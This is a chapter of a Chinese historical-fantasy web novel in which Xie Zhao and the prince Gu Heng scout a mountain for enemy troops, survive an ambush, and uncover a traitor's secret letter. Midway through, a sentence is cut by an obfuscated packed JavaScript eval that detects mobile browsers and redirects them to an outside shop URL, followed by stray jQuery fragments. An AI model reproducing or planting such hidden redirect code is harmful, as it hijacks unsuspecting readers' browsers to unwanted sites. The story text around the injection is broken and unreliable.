顾珩策马疾驰，山风从谢昭的耳侧呼啸而过。


    “你说你来过这里？”顾珩忽然开口，声音裹挟着少年熨烫的气息，传到了谢昭耳侧。


    谢昭微怔，随即反应过来这是顾珩在试探自己，毕竟刚刚自己跟他说了“我知道雨明山上有什么”。


    看来即便是自己知道他的身份，顾珩也并未完全相信她。


    “来过，”谢昭斟酌着言辞，飞速地想着应对的法子，“你想问些什么？”


    “那么，你知不知道雨明山上有什么，神女殿下？”顾珩开了口，“那里真的有北朔王军吗？”


    谢昭握着短笛的手微微一顿——原来顾珩也有怀疑自己的时候吗？他究竟是试探着自己是否是全知全能的神女，还是在怀疑着自己过去的发现是否真实？


    谢昭倾向于后者，因为此刻对顾珩而言，她是不是“神女”不重要，只要他能够找到北朔军的踪迹，他的任务就完成了。


    但是做过“程谷”的谢昭知道，顾珩这么做冒着的风险非常之大。


    即便北朔王军真的出现在了这里，顾珩没有来，大不了就是北朔王军奇袭大晟。如果程谷防卫得当，也不会有大的伤亡，如果防卫不当，也不会殃及顾珩，程谷一定会派人护送顾珩离开，最后被追责的只有程谷。


    可是他偏偏选择的是自己去找北朔王军的踪迹，找到了成功返回大不了也只是功过相抵——不听军令，擅自行动必然是要遭受惩处，找不到更是只能受罚而没有辩驳的余地。


    更不要说还有被北朔军抓住的风险。


    他为的是什么？道义？意气？还是别的什么？


    谢昭不知道。


    她脸上浮现出与少年相似的迷茫。


    “神女也会有不知道的事吗？”顾珩翻身下马，在马下抬头看着谢昭，唇边扯出来一丝嘲意，像是在嘲笑着谢昭那漏洞百出的谎言。


    “神女也不是无所不知的啊，”谢昭却丝毫不在意顾珩的嘲讽，而是神色自若地同顾珩道，“我是为你而来的，即便这座山上没有北朔王军，我也会陪你找到他们为止。”


    “为我而来？”顾珩饶有兴致地念着这几个字，半嘲半讽道，“我身无长物，除了你所说的身份，还留下了别的什么值得你留下的呢？”


    “我本来也没想着要你的东西，就当我心善，看在你这么一腔热血的份上来帮你吧！”谢昭轻巧地越下马，双手环抱着同顾珩说，“收起你的疑心，我要害你早动手了。”


    顾珩笑了起来：“有意思，有意思，我还没见过这样别无所图的人。那在下就等待着，看您的‘善心’能维持到什么时候吧。”


    谢昭翻了个白眼，假装没听出顾珩话语里的阴阳怪气，“我的善心应当可以在找到北朔王军前一直维持下去，只要某些人收一收他那多余的疑心。”


    两个人就这么在雨明山里拌着嘴走了下去。


    谢昭本来还没有什么方向，看着顾珩径直朝着雨明潭的方向走去，便也随着他走了，不过，谢昭倒是觉得越走越不对劲。


    太安静了，雨明山上不应该有这么安静的地方，连鸟叫声都没有。


    事出反常必有妖，看来北朔军的真的藏在这里，而且他们离藏身之地不远了。


    走到雨明潭时，谢昭本以为会出现梦境中的那条蟒蛇，然而这里却没有。


    雨明潭内的潭水干干净净，泛着深潭特有的的幽绿光泽，谢昭低头看着潭面，若有所思。


    007曾经的那句话突然浮现在她的脑海内：


    “噩梦世界的一切看似毫无秩序，实则皆有其逻辑。”


    真的有联系吗？蟒蛇在顾珩的梦中象征着什么？说明在他的心中如此重要以至于他非要杀了这条蟒蛇不可？


    谢昭试着拿手去够潭面，却被顾珩一把推开：“快走，有伏兵！”


    -----


    顾珩的声音还悬在空中，破空的箭矢已经从谢昭头顶掠过，直直钉在了她身后的树干之上，发出“笃笃”之声。


    顾珩的反应速度很快，他带着谢昭一路翻滚下了山坡，不给北朔士兵任何搜寻的机会。


    谢昭趁着翻滚的间隙探看着潭边的情况，暗暗盘算着：一、二、三……六，一共有六个身穿北朔特有的暗色甲胄的士兵在此地驻守。


    显然是发现目标不见了，为首之人一脸怒意地冲着剩下的五个人叽里咕噜地说着谢昭听不懂的北朔话，不过谢昭用脚指头也能猜出来他说的是什么——无非就是要他们赶紧去把闯入北朔军营地的人给揪出来。


    但是他们的藏身之处显然有限，要想躲开善于探查的北朔人并非易事。


    左为深潭，右为密林，往哪里走？


    顾珩的神色也并不太好，深潭旁有伏兵，跑过去就是自投罗网，密林里可能是北朔军的营地，也有可能有更多的野兽，跑过去亦是危险重重。


    该往哪里走？


    谢昭与顾珩正在紧张思考之时，突然，潭面上传来一阵急促的脚步声，打破了宁静——只见一队晟朝士兵从树林中疾步而出，迅速包围了潭边。


    他们皆手持利剑，六个北朔伏兵尚未反应过来，便被一剑封喉。六个适才让谢昭与顾珩感到不安的北朔伏兵被尽数斩杀。不过瞬息之间。


    这队将士显然是晟朝边军的精锐，只是他们为何突然出现在潭边，还正正好好救了他们一命？


    谢昭的疑问很快就得到了回答。


    只见顾珩的肩突然被人拍了一下，谢昭顺着顾珩的视线看去，果然站在他们身后的是个老熟人——程谷将军。


    程谷身披轻甲，语气微沉：“擅自行动，若是丢了性命，该如何？”


    “性命不足惜，”顾珩偏过头去，不愿看程谷，“只要能为大晟而亡。”


    “呵，”程谷冷笑一声，“大晟从来不需要你这样无谓的牺牲，你以为你很勇敢吗？有勇无谋是为匹夫！你读过书，认过字，难道还不知道什么是‘军规’吗！”


    “军中不需要这样不听指挥之人，今日之后，您便请离吧，七殿下。”程谷声音虽然并不算响亮，却有着不容置疑的坚定，尤其是说到“七殿下”这一个词的时候，更是加重了几分音量。


    “我并非……”顾珩似乎还想辩驳些什么。


    程谷却不再看他，而是一言不发地朝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401398|199915||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着潭边走去。


    谢昭走到顾珩身旁，看着他颇有几分丧气的意味，忍不住开口问道：“你究竟是得到了什么消息，才一定要跑到这里来呢？”


    顾珩猛然抬头看向谢昭：“你……”


    谢昭比了一个“嘘”的动作，其实从刚才程谷找到顾珩的时候，谢昭就已经发现不对劲了。


    顾珩如果只是一个小兵，跑了也就跑了，没人在意。但他的身份只要埋在那里，就迟早被人发现。程谷这样敏锐的人，发现顾珩的身份只是迟早的事，赶来救顾珩也是情理之中。


    但唯有一点不对。


    那就是时机。程谷来的太凑巧了，顾珩出走的时间也太凑巧了。刚刚好就是宋满这个叛徒露出马脚的那一刻被顾珩偷听到，刚刚好就是顾珩来到雨明山上遭受埋伏的时刻，程谷赶到救他。


    这世上是有很多巧合的，但是巧到这份上就不是巧合了。


    更不要说，顾珩一上山就摆明了要去雨明潭，除了雨明潭他几乎没有探查任何的地方——这对一个目的是“找到北朔王军踪迹”的士兵来说是不正常的。


    而顾珩起初的疑惑也说明，他大约不是真的找到了北朔王军的踪迹，而是通过某种方式获得了这个消息。


    顾珩埋藏的究竟是什么信息？


    谢昭看着顾珩仍然带有几分犹豫挣扎的神色，上前道：“你若是不说，今日很可能我们所有人都会埋骨于此！这是你所希望看到的吗？”


    顾珩叹了口气，颓然靠在古树之上，开了口：“我不是不想说啊，只是有的时候，太难说……”


    这一切都要从顾珩拿到那封密信说起。


    那天本是寻常的一天，在程谷又一次用“娇气”评价他之后，他心情有些苦闷，便策马上了雨明山，雨明山上的景色无疑是美的，而他也就在那时看到了晟朝的叛徒与北朔人接头的情形。


    那个叛徒他不认识，但是有些眼熟，总之是晟朝边军里的某一个。


    少年饮了酒，正是冲动的时刻，提剑就上去砍了叛徒，也没有放过那个北朔人。不过他从北朔人的口中得知，王军不日就将到达此地，目标就是晟朝边关，这次他们的目的不再仅仅只是抢掠，饿了一冬的北朔人想要抢占这块富饶的土地。


    顾珩没有留下北朔人的性命，不仅仅因为他厌恶这群成日烧杀抢掠无恶不作的北朔蛮子，还因为他不仅没有死守自己国家的秘密，反而奴颜婢膝地求他饶过自己一命。


    顾珩看着他那双精明的眼睛，就知道这不会是一个安分之人。


    他从叛徒的身上搜出来一封密信。


    密信上的字迹寥寥，却令醉酒的顾珩立刻清醒了过来。


    上面写着，程谷是个女子，而她身边的秦也，则是个不折不扣的北朔人，只要把这个消息散布，晟朝边军自然就会动乱。


    他们要通过污了程谷的清名，动摇晟朝大军的军心，这真是一个不折不扣的毒计。


    这封信上还提到，按照约定，他会在每三日的午时继续送信，信中会有更多的消息。


    顾珩知道程谷未必会轻易相信自己，所以决定来这里亲手抓叛徒回去。